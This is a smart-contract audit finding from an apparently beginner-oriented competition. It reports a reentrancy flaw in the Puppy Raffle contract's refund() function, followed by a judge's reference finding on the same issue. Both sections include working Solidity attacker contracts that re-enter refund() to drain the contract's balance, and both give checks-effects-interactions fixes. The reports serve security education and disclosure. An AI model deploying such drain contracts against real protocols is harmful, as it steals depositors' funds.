Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy Attack in refund() Function

georgibuilds

Root + Impact

The `PuppyRaffle::refund` function is vulnerable to reentrancy attacks due to violating the Checks-Effects-Interactions (CEI) pattern. The function performs an external ETH transfer before updating the contract state, allowing an attacker to recursively call `refund()` and drain all funds from the contract.

Description

  • The refund() function executes operations in the following order: 1. **Checks:** Validates that the caller is the player and the player is active 2. **Interactions:** Sends ETH to the player via external call 3. **Effects:** Updates state by setting `players[playerIndex] = address(0)`

  • This order violates the CEI pattern by performing the external call (Interactions) before the state update (Effects). During the external call, the contract's state still shows the player as active, allowing the attacker to re-enter the `refund()` function before the state is updated.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
// @audit-issue CEI Violation: External call before state update
payable(msg.sender).sendValue(entranceFee);
​
// @audit-issue State update happens AFTER external call
// Reentrancy window exists between the external call and this line
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}

Risk

Complete Fund Loss:** Attacker can drain the entire contract balance, stealing funds from all participants 2. **Legitimate Players Lose Deposits:** All entered players lose their entrance fees 3. **Protocol Destruction:** The raffle becomes financially insolvent 4. **No Recovery Mechanism:** Once funds are stolen, there's no way to recover them

Likelihood:

  • Attack is trivial to execute with a simple malicious contract

No special conditions or timing required

  • Can be executed by any participant at any time

  • Repeatable across multiple raffle rounds

Impact:

  • Results in complete loss of all funds in the contract

  • Affects all participants simultaneously (not just the attacker)

  • No built-in recovery or circuit breaker mechanism

  • Permanent financial damage to protocol and users

Proof of Concept

Step 1: Create malicious attacker contract in test/ReentrancyAttacker.sol:

solidity// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract ReentrancyAttacker {
PuppyRaffle puppyRaffle;
uint256 entranceFee;
uint256 attackerIndex;
constructor(PuppyRaffle _puppyRaffle) {
puppyRaffle = _puppyRaffle;
entranceFee = puppyRaffle.entranceFee();
}
function attack() external payable {
// Enter raffle
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(players);
// Get our index
attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
// Start the attack
puppyRaffle.refund(attackerIndex);
}
// Reentrancy happens here when we receive ETH
receive() external payable {
// Continue draining while contract has funds
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(attackerIndex);
}
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
}
​

Recommended Mitigation

Follow the Checks-Effects-Interactions (CEI) pattern by moving the state update before the external call:

Why this works: When an attacker attempts reentrancy, the second call to refund() will fail the check:

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
+ // Effects: Update state BEFORE external call
+ players[playerIndex] = address(0);
​
// Interactions: External call happens AFTER state update
payable(msg.sender).sendValue(entranceFee);
​
- // Remove state update from here
- players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 23 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!